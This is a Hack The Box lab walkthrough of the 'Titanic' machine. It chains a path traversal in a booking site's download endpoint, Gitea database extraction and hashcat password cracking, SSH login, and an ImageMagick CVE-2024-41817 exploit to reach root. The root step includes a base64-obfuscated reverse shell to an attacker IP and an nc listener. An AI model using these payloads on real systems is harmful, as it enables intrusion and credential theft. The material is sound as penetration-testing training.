HTB WriteUP - Titanic

Enumeration

export IP=<HTB TITANIC IP>

Initial Nmap Scan

We start with Nmap enumeration:

$ nmap -sV -oA Enums/nmap/initial -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 05:57 EDT
Nmap scan report for 10.10.11.55
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds

We found both HTTP and SSH services. We will investigate the HTTP service on port 80.

HTTP Service (Port 80)

$ whatweb $IP
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
ERROR Opening: https://titanic.htb/ - no address for titanic.htb

The IP redirects but is not found via DNS resolution. We add the DNS entry to /etc/hosts to resolve it correctly:

$ echo "$IP   titanic.htb" | sudo tee -a /etc/hosts

Now, running whatweb again:

$ whatweb $IP
http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

We discover the website at http://titanic.htb/ is a Titanic-themed booking site. Next, we perform a directory brute force scan with gobuster.

$ gobuster dir -u $TARGET -b 404 --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://titanic.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/book                 (Status: 405) [Size: 153]
/download             (Status: 400) [Size: 41]
/server-status        (Status: 403) [Size: 276]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Using the form on the index page, we note that booking requests send a POST to create a booking, and a booking is available at http://titanic.htb/download?ticket=<uuid>.json.

We hypothesize that the /book endpoint creates a JSON file, which can be accessed at /download.

We test for path traversal vulnerabilities by manipulating the ticket parameter.

Path Traversal Exploit

We can access files outside the download directory, such as /etc/passwd:

$ curl http://titanic.htb/download?ticket=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Additionally, we can access /etc/hosts:

$ curl http://titanic.htb/download?ticket=/etc/hosts
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
...

We add dev.titanic.htb to /etc/hosts to resolve this new hostname.

Accessing the Gitea Service

On dev.titanic.htb, we find a Gitea instance running version 1.22.1. Two public repositories are available:

In the Docker configuration, we found a MySQL configuration with the root password <SNIP>. However, it didn't seem like the MySQL server was running, so we kept this information but it appeared to be unusable at the moment.

Additionally, we discovered that Gitea data is located at /home/developer/gitea/data/gitea in the Docker Compose files. We can use path traversal to access this data.

Extracting the Database

Looking at the Gitea documentation, we guessed the path of the Gitea database file and retrieved it:

$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db

We can explore the database to extract valuable information.

Cracking the Password

After doing some research on Gitea password storage, we found a tool called giteatohashcat that allows us to extract the password hashes, avoiding the need to extract them manually:

$ git clone https://github.com/BhattJayD/giteatohashcat
$ cd giteatohashcat/
$ python giteaToHashcat.py ../../gitea.db
[+] Extracting password hashes...
[+] Extraction complete. Output:
administrator:sha256:50000:<SNIP>
developer:sha256:50000:<SNIP>
...

We focused on the developer user, as we identified that there is an SSH user with the same username and a shell. We hoped it used the same password, so we attempted to crack the password hash using hashcat.

hashcat -m 10900 sha256:50000:<SNIP> /usr/share/wordlists/rockyou.txt.gz
....

After successfully cracking the hash, we get the password <SNIP>.

Getting SSH Access

We tried this password to access the developer account via SSH, and it worked::

$ ssh developer@titanic.htb
$ whoami
developer
$ cat user.txt
<SNIP>

Now we have foothold on the machine and our first user flag.

Lateral Movement

After some exploring on the filesystem, we found an interesting script in opt: /opt/scripts/identify_images.sh. This script generates a metadata.log file for every jpg file using ImageMagick in /opt/app/static/assets/images/ periodically (approximately every minute). The script seems to run as the root user, making it an interesting target.

We check the version of ImageMagick:

$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org

Searching for vulnerabilities in this version, we find a CVE-2024-41817 exploit.

We use this exploit to create a reverse shell as root.

Exploiting the Vulnerability

On our attack machine, we create a malicious shared library that will be loaded by ImageMagick:

$ git clone https://github.com/Dxsk/CVE-2024-41817-poc
$ cd CVE-2024-41817-poc/
$ python3 exploit.py -c "echo ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNi4zLzkwMDE7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU= |base64 -d |bash" -H titanic.htb -p 22 -u developer -P 25282528 -A

This generates the malicious shared library, which we then move to /opt/app/static/assets/images/ on the target machine:

mv /tmp/libxcb.so /opt/app/static/assets/images/libxcb.so.1

Reverse Shell

On our attacker machine, we set up a listener:

$ nc -lvnp 9001
listening on [any] 9001 ...

Once the script runs, we receive the reverse shell and become root:

$ whoami
root
$ cd
$ cat root.txt
<SNIP>

We have gained root access and obtained the root flag!

Conclusion

This exploitation process highlights how a simple path traversal vulnerability can lead to more serious security issues. What initially can be seemed like a simple information disclosure vulnerability allowed us to access sensitive files, extract credentials, and ultimately escalate privileges.